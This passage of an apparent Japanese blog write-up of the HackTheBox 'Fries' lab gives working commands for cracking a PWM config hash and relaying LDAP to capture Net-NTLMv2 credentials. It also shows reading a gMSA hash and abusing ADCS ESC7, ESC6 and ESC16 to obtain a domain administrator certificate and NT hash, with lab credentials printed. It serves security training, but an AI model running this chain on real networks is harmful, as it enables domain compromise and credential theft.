-r--r--r-- 1 root root 8388608 Jun 1 19:53 00000000800.xd
-r--r--r-- 1 root root 8388608 Jun 1 02:07 00000000000.xd
drwxr-xr-x 3 root root 4096 Jun 1 02:03 ..
bash-5.1# cd ../../
bash-5.1# ls -lta
total 160
-rw-r--r-- 1 root root 149 Nov 26 02:11 applicationPath.lock
drwxr-xr-x 2 root root 4096 Nov 26 02:10 logs
drwxr-xr-x 6 root root 4096 Nov 12 01:38 .
-rw-r--r-- 1 root root 134122 Nov 12 01:38 PwmConfiguration.xml
drwxr-xr-x 2 root root 4096 Nov 12 01:37 backup
drwxr-xr-x 4 root root 4096 Nov 12 01:28 ..
drwxr-xr-x 3 root root 4096 Jun 1 02:03 LocalDB
drwxr-xr-x 2 root root 4096 Jun 1 02:03 temp
bash-5.1# cd backup/
bash-5.1# ls -lta
total 140
drwxr-xr-x 6 root root 4096 Nov 12 01:38 ..
drwxr-xr-x 2 root root 4096 Nov 12 01:37 .
-rw-r--r-- 1 root root 134122 Nov 12 01:37 PwmConfiguration.xml-backup
bash-5.1# file PwmConfiguration.xml-backup
PwmConfiguration.xml-backup: XML 1.0 document, Unicode text, UTF-8 text, with CR, LF line terminators
bash-5.1# cat PwmConfiguration.xml-backup
<?xml version="1.0" encoding="UTF-8"?><PwmConfiguration createTime="2025-06-01T02:07:43Z" modifyTime="2025-06-01T19:53:04Z" pwmBuild="b7ed22b" pwmVersion="2.0.8" xmlVersion="5">
<!--
This configuration file has been auto-generated by the PWM password self service application.
WARNING: This configuration file contains sensitive security information, please handle with care!
WARNING: If a server is currently running using this configuration file, it will be restarted and the
configuration updated immediately when it is modified.
NOTICE: This file is encoded as UTF-8. Do not save or edit this file with an editor that does not
support UTF-8 encoding.
If unable to edit using the application ConfigurationEditor web UI, the following options are available:
1. Edit this file directly by hand.
2. Remove restrictions of the configuration by setting the property "configIsEditable" to "true".
This will allow access to the ConfigurationEditor web UI without having to authenticate to an
LDAP server first.
If you wish for sensitive values in this configuration file to be stored unencrypted, set the property
"storePlaintextValues" to "true".
-->
<properties type="config">
<property key="configIsEditable">true</property>
<property key="configEpoch">0</property>
<property key="configPasswordHash">$2y$04$W1TubX/9JAqpHlxx7xqXpesUMB2bJMV4dH/8pXbcul0NgA6ZexGyG</property>
</properties>
<settings>
PwmConfiguration.xml-backupにハッシュがある。これを解析する。
┌──(kali㉿kali)-[~/Desktop]
└─$ john --wordlist=/usr/share/wordlists/rockyou.txt --rules /usr/share/john/rules/best64.rule hash
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 16 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
rockon! (?)
1g 0:00:00:03 DONE (2025-11-26 07:42) 0.3289g/s 7318p/s 7318c/s 7318C/s tanesha..prakash
Use the "--show" option to display all of the cracked passwords reliably
Session completed.
お、解けちゃったよ。8443Portのパスワードかな？？？
これLinpeasで見つけたpwm.fries.htbで443経由でいけないかな？試してみる。
行けた。これでPass入れてみる。
入れてみたら行けたよ。
横展開 - Windows環境
二度目の継続は力なり
ここでやっとWindwos許さないマンの始動だ！！
このPWMの悪用方法はAuthorityのBOXで経験済みだぜ！！！継続は力なり！！！
んじゃldapの設定をKaliに向けてNet-NTLMv2のハッシュを搾取していく。
こうして、テストだ！
きた！！！！やっとWindowsの認証情報！！！！
なっっっっっっっっっっっっっっっっがいんよここまで！
認証が通るか確認しておく。
┌──(kali㉿kali)-[~/Desktop]
└─$ nxc smb 10.129.31.22 -u svc_infra -p m6tneOMAh5p0wQ0d --shares
SMB 10.129.31.22 445 DC01 [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:fries.htb) (signing:True) (SMBv1:False)
SMB 10.129.31.22 445 DC01 [+] fries.htb\svc_infra:m6tneOMAh5p0wQ0d
SMB 10.129.31.22 445 DC01 [*] Enumerated shares
SMB 10.129.31.22 445 DC01 Share Permissions Remark
SMB 10.129.31.22 445 DC01 ----- ----------- ------
SMB 10.129.31.22 445 DC01 ADMIN$ Remote Admin
SMB 10.129.31.22 445 DC01 C$ Default share
SMB 10.129.31.22 445 DC01 IPC$ READ Remote IPC
SMB 10.129.31.22 445 DC01 NETLOGON READ Logon server share
SMB 10.129.31.22 445 DC01 SYSVOL READ Logon server share
あざます。
SMBは何もなさそうね。
情報収集
とりあえずまぁ、ブラハさんよね。
┌──(kali㉿kali)-[~/Desktop]
└─$ faketime -f '+7h' bloodhound-ce-python -c all -u svc_infra -p m6tneOMAh5p0wQ0d -d fries.htb -ns 10.129.31.22 --zip
INFO: BloodHound.py for BloodHound Community Edition
INFO: Found AD domain: fries.htb
INFO: Getting TGT for user
INFO: Connecting to LDAP server: dc01.fries.htb
INFO: Testing resolved hostname connectivity dead:beef::9074:9cc0:8f:fa84
INFO: Trying LDAP connection to dead:beef::9074:9cc0:8f:fa84
INFO: Found 1 domains
INFO: Found 1 domains in the forest
INFO: Found 2 computers
INFO: Connecting to LDAP server: dc01.fries.htb
INFO: Testing resolved hostname connectivity dead:beef::9074:9cc0:8f:fa84
INFO: Trying LDAP connection to dead:beef::9074:9cc0:8f:fa84
INFO: Found 19 users
INFO: Found 54 groups
INFO: Found 2 gpos
INFO: Found 2 ous
INFO: Found 19 containers
INFO: Found 0 trusts
INFO: Starting computer enumeration with 10 workers
INFO: Querying computer: web
INFO: Querying computer: DC01.fries.htb
WARNING: Could not resolve: web: The resolution lifetime expired after 3.104 seconds: Server Do53:10.129.31.22@53 answered The DNS operation timed out.
INFO: Done in 01M 14S
INFO: Compressing output into 20251126145327_bloodhound.zip
WinRMのシェルまで見えた！！！
悪用やっていくぜ！！！
Abuse ACL
GMSAのリード権限を悪用する。
┌──(kali㉿kali)-[~/Desktop]
└─$ nxc ldap DC01.fries.htb -u svc_infra -p m6tneOMAh5p0wQ0d --gmsa
LDAP 10.129.31.22 389 DC01 [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:fries.htb)
LDAPS 10.129.31.22 636 DC01 [+] fries.htb\svc_infra:m6tneOMAh5p0wQ0d
LDAPS 10.129.31.22 636 DC01 [*] Getting GMSA Passwords
LDAPS 10.129.31.22 636 DC01 Account: gMSA_CA_prod$ NTLM: fc20b3d3ec179c5339ca59fbefc18f4a PrincipalsAllowedToReadPassword: svc_infra
はい、読めました。これを使ってWinRMに接続する。
かもおおおおおおおおおおおおおおおおんんんん！！！！！
Windowsたのちぃいいいいいいいいい！！！！！
権限昇格 - Windows
情報収集
gMSA_CA_prod$さんのDescに以下の様な記載を見つける。
これはADCSの悪用ですか？？？んじゃ確認するぜ！
┌──(kali㉿kali)-[~/Desktop]
└─$ certipy-ad find -dc-ip 10.129.31.22 -u 'GMSA_CA_PROD$' -hashes fc20b3d3ec179c5339ca59fbefc18f4a -vulnerable -stdout
Certipy v5.0.3 - by Oliver Lyak (ly4k)
[*] Finding certificate templates
[*] Found 33 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 11 enabled certificate templates
[*] Finding issuance policies
[*] Found 16 issuance policies
[*] Found 0 OIDs linked to templates
[*] Retrieving CA configuration for 'fries-DC01-CA' via RRP
[!] Failed to connect to remote registry. Service should be starting now. Trying again...
[*] Successfully retrieved CA configuration for 'fries-DC01-CA'
[*] Checking web enrollment for CA 'fries-DC01-CA' @ 'DC01.fries.htb'
[*] Enumeration output:
Certificate Authorities
0
CA Name : fries-DC01-CA
DNS Name : DC01.fries.htb
Certificate Subject : CN=fries-DC01-CA, DC=fries, DC=htb
Certificate Serial Number : 26117C1FFA5705AF443B7E82E8C639A9
Certificate Validity Start : 2025-11-18 05:39:18+00:00
Certificate Validity End : 3024-05-19 14:11:46+00:00
Web Enrollment
HTTP
Enabled : False
HTTPS
Enabled : False
User Specified SAN : Disabled
Request Disposition : Issue
Enforce Encryption for Requests : Enabled
Active Policy : CertificateAuthority_MicrosoftDefault.Policy
Permissions
Owner : FRIES.HTB\Administrators
Access Rights
ManageCa : FRIES.HTB\gMSA_CA_prod
FRIES.HTB\Domain Admins
FRIES.HTB\Enterprise Admins
FRIES.HTB\Administrators
Enroll : FRIES.HTB\gMSA_CA_prod
FRIES.HTB\Domain Users
FRIES.HTB\Domain Computers
FRIES.HTB\Authenticated Users
ManageCertificates : FRIES.HTB\Domain Admins
FRIES.HTB\Enterprise Admins
FRIES.HTB\Administrators
[+] User Enrollable Principals : FRIES.HTB\gMSA_CA_prod
FRIES.HTB\Authenticated Users
FRIES.HTB\Domain Computers
FRIES.HTB\Domain Users
[+] User ACL Principals : FRIES.HTB\gMSA_CA_prod
[!] Vulnerabilities
ESC7 : User has dangerous permissions.
Certificate Templates : [!] Could not find any certificate templates
ESC7！！！あざます！！！
Abuse ESC7
ADCSに対して過剰に権限がある場合にできる昇格ルートだ。
デフォルトの権限昇格コマンドを試していく。
ManageCertificatesにgMSA_CA_prodを追加する。
┌──(kali㉿kali)-[~/Desktop]
└─$ certipy ca -u 'GMSA_CA_PROD$' -hashes fc20b3d3ec179c5339ca59fbefc18f4a -ca fries-DC01-CA -add-officer gMSA_CA_prod -dc-ip 10.129.31.22
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Successfully added officer 'gMSA_CA_prod$' on 'fries-DC01-CA'
続いてSubCAを有効化しておく。SANが使えるデフォルトの証明書を使いたいので。
┌──(kali㉿kali)-[~/Desktop]
└─$ certipy ca -u 'GMSA_CA_PROD$' -hashes fc20b3d3ec179c5339ca59fbefc18f4a -ca fries-DC01-CA -enable-template 'SubCA' -dc-ip 10.129.31.22
Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Successfully enabled 'SubCA' on 'fries-DC01-CA'
さて、証明書を取得するぜ！
┌──(kali㉿kali)-[~/Desktop]
└─$ faketime -f '+7h' certipy-ad req -u 'GMSA_CA_PROD$'@fries.htb -hashes fc20b3d3ec179c5339ca59fbefc18f4a -ca fries-DC01-CA -template 'SubCA' -upn administrator@fries.htb
Certipy v5.0.3 - by Oliver Lyak (ly4k)
[*] Requesting certificate via RPC
[*] Request ID is 49
[-] Got error while requesting certificate: code: 0x80094012 - CERTSRV_E_TEMPLATE_DENIED - The permissions on the certificate template do not allow the current user to enroll for this type of certificate.
Would you like to save the private key? (y/N): y
[*] Saving private key to '49.key'
[*] Wrote private key to '49.key'
[-] Failed to request certificate
┌──(kali㉿kali)-[~/Desktop]
└─$ faketime -f '+7h' certipy-ad ca -u 'GMSA_CA_PROD$'@fries.htb -hashes fc20b3d3ec179c5339ca59fbefc18f4a -ca fries-DC01-CA -issue-request 49 -target dc01.fries.htb
Certipy v5.0.3 - by Oliver Lyak (ly4k)
[-] Access denied: Insufficient permissions to issue certificate
なんでや！！！！工藤！！！ここで止まるんか！
何度も失敗した。
別ルートを検討する。
ESC6 + ESC16
ADCS設定をいじくる権限は持っているのでいじくりまくる。
そしたらESC6に繋がりそうな設定値をいじくれそうな気がした。
specified SANをTrueにしてEDITF_ATTRIBUTESUBJECTALTNAME2を建てる。
*Evil-WinRM* PS C:\Users\gMSA_CA_prod$\Documents> $admin = New-Object -ComObject CertificateAuthority.Admin
*Evil-WinRM* PS C:\Users\gMSA_CA_prod$\Documents> $config = "DC01.fries.htb\fries-DC01-CA"
*Evil-WinRM* PS C:\Users\gMSA_CA_prod$\Documents> $val = $admin.GetConfigEntry($config, "PolicyModules\CertificateAuthority_MicrosoftDefault.Policy", "EditFlags")
*Evil-WinRM* PS C:\Users\gMSA_CA_prod$\Documents> Write-Host "Current Flags: $val"
Current Flags: 1114446
*Evil-WinRM* PS C:\Users\gMSA_CA_prod$\Documents> $newval = $val -bor 0x40000
*Evil-WinRM* PS C:\Users\gMSA_CA_prod$\Documents> $admin.SetConfigEntry($config, "PolicyModules\CertificateAuthority_MicrosoftDefault.Policy", "EditFlags", $newval)
Updated Flags to: 1376590
*Evil-WinRM* PS C:\Users\gMSA_CA_prod$\Documents> Restart-Service CertSvc
*Evil-WinRM* PS C:\Users\gMSA_CA_prod$\Documents>
ただこれだけでは昇格できない。昔のVersionだとこれでいけるが、最近のADCSはパッチが当てられているのでESC9またはESC16との合わせ技をしないといけない。CA側をいじくれるのでESC16の内容の合わせ技となる。
SIDセキュリティ拡張を含めないようにする。
*Evil-WinRM* PS C:\Users\gMSA_CA_prod$\Documents> $admin = New-Object -ComObject CertificateAuthority.Admin
*Evil-WinRM* PS C:\Users\gMSA_CA_prod$\Documents> $config = "DC01.fries.htb\fries-DC01-CA"
*Evil-WinRM* PS C:\Users\gMSA_CA_prod$\Documents> $val = $admin.GetConfigEntry($config, "PolicyModules\CertificateAuthority_MicrosoftDefault.Policy", "DisableExtensionList")
*Evil-WinRM* PS C:\Users\gMSA_CA_prod$\Documents> Write-Host "Current InterfaceFlags: $val"
Current InterfaceFlags:
*Evil-WinRM* PS C:\Users\gMSA_CA_prod$\Documents> $val = $null
*Evil-WinRM* PS C:\Users\gMSA_CA_prod$\Documents> [string[]]$newArray = @("1.3.6.1.4.1.311.25.2")
*Evil-WinRM* PS C:\Users\gMSA_CA_prod$\Documents> $admin.SetConfigEntry($config, "PolicyModules\CertificateAuthority_MicrosoftDefault.Policy", "DisableExtensionList", [string[]]$newArray)
*Evil-WinRM* PS C:\Users\gMSA_CA_prod$\Documents> Restart-Service CertSvc
*Evil-WinRM* PS C:\Users\gMSA_CA_prod$\Documents>
これで状況を確認確認する。
┌──(kali㉿kali)-[~/Desktop]
└─$ faketime -f '+7h' certipy-ad find -u 'GMSA_CA_PROD$'@fries.htb -hashes fc20b3d3ec179c5339ca59fbefc18f4a -vulnerable -stdout -dc-ip 10.129.31.22
Certipy v5.0.3 - by Oliver Lyak (ly4k)
[*] Finding certificate templates
[*] Found 33 certificate templates
[*] Finding certificate authorities
[*] Found 1 certificate authority
[*] Found 11 enabled certificate templates
[*] Finding issuance policies
[*] Found 16 issuance policies
[*] Found 0 OIDs linked to templates
[*] Retrieving CA configuration for 'fries-DC01-CA' via RRP
[*] Successfully retrieved CA configuration for 'fries-DC01-CA'
[*] Checking web enrollment for CA 'fries-DC01-CA' @ 'DC01.fries.htb'
[*] Enumeration output:
Certificate Authorities
0
CA Name : fries-DC01-CA
DNS Name : DC01.fries.htb
Certificate Subject : CN=fries-DC01-CA, DC=fries, DC=htb
Certificate Serial Number : 26117C1FFA5705AF443B7E82E8C639A9
Certificate Validity Start : 2025-11-18 05:39:18+00:00
Certificate Validity End : 3024-05-19 14:11:46+00:00
Web Enrollment
HTTP
Enabled : False
HTTPS
Enabled : False
User Specified SAN : Enabled
Request Disposition : Issue
Enforce Encryption for Requests : Enabled
Active Policy : CertificateAuthority_MicrosoftDefault.Policy
Disabled Extensions : 1.3.6.1.4.1.311.25.2
Permissions
Owner : FRIES.HTB\Administrators
Access Rights
ManageCa : FRIES.HTB\gMSA_CA_prod
FRIES.HTB\Domain Admins
FRIES.HTB\Enterprise Admins
FRIES.HTB\Administrators
ManageCertificates : FRIES.HTB\gMSA_CA_prod
FRIES.HTB\Domain Admins
FRIES.HTB\Enterprise Admins
FRIES.HTB\Administrators
FRIES.HTB\svc_infra
Enroll : FRIES.HTB\gMSA_CA_prod
FRIES.HTB\Domain Users
FRIES.HTB\Domain Computers
FRIES.HTB\Authenticated Users
[+] User Enrollable Principals : FRIES.HTB\Domain Users
FRIES.HTB\gMSA_CA_prod
FRIES.HTB\Domain Computers
FRIES.HTB\Authenticated Users
[+] User ACL Principals : FRIES.HTB\gMSA_CA_prod
[!] Vulnerabilities
ESC6 : Enrollee can specify SAN.
ESC7 : User has dangerous permissions.
ESC11 : Encryption is not enforced for ICPR (RPC) requests.
ESC16 : Security Extension is disabled.
[*] Remarks
ESC6 : Other prerequisites may be required for this to be exploitable. See the wiki for more details.
ESC16 : Other prerequisites may be required for this to be exploitable. See the wiki for more details.
Certificate Templates : [!] Could not find any certificate templates
よし！以下があれば大丈夫だ！
User Specified SAN : Enabled
Disabled Extensions : 1.3.6.1.4.1.311.25.2
行くぞい！Exploitだ！！！
┌──(kali㉿kali)-[~/Desktop]
└─$ faketime -f '+7h' certipy-ad req -u svc_infra -p m6tneOMAh5p0wQ0d -ca fries-DC01-CA -sid S-1-5-21-858338346-3861030516-3975240472-500 -upn 'administrator@fries.htb' -dc-ip 10.129.31.22 -template User
Certipy v5.0.3 - by Oliver Lyak (ly4k)
[*] Requesting certificate via RPC
[*] Request ID is 80
[*] Successfully requested certificate
[*] Got certificate with UPN 'administrator@fries.htb'
[*] Certificate object SID is 'S-1-5-21-858338346-3861030516-3975240472-500'
[*] Saving certificate and private key to 'administrator.pfx'
[*] Wrote certificate and private key to 'administrator.pfx'
キタよ。
┌──(kali㉿kali)-[~/Desktop]
└─$ faketime -f '+7h' certipy-ad auth -pfx administrator.pfx -dc-ip 10.129.31.22
Certipy v5.0.3 - by Oliver Lyak (ly4k)
[*] Certificate identities:
[*] SAN UPN: 'administrator@fries.htb'
[*] SAN URL SID: 'S-1-5-21-858338346-3861030516-3975240472-500'
[*] Using principal: 'administrator@fries.htb'
[*] Trying to get TGT...
[*] Got TGT
[*] Saving credential cache to 'administrator.ccache'
[*] Wrote credential cache to 'administrator.ccache'
[*] Trying to retrieve NT hash for 'administrator'
[*] Got hash for 'administrator@fries.htb': aad3b435b51404eeaad3b435b51404ee:a773cb05d79273299a684a23ede56748
あざます！！！勝ち！！！
やっとRootフラグですかね。長かった。
まとめ
これで特権昇格に成功し、Administrator権限奪取に成功しました。
序盤はLinuxですね。Windows許さないマン泣いちゃった。
今までの知見総集編みたいで面白かったです。
継続は力なり！！！！！
今回もセキュリティエンジニアの皆さんの助けになればなと思います。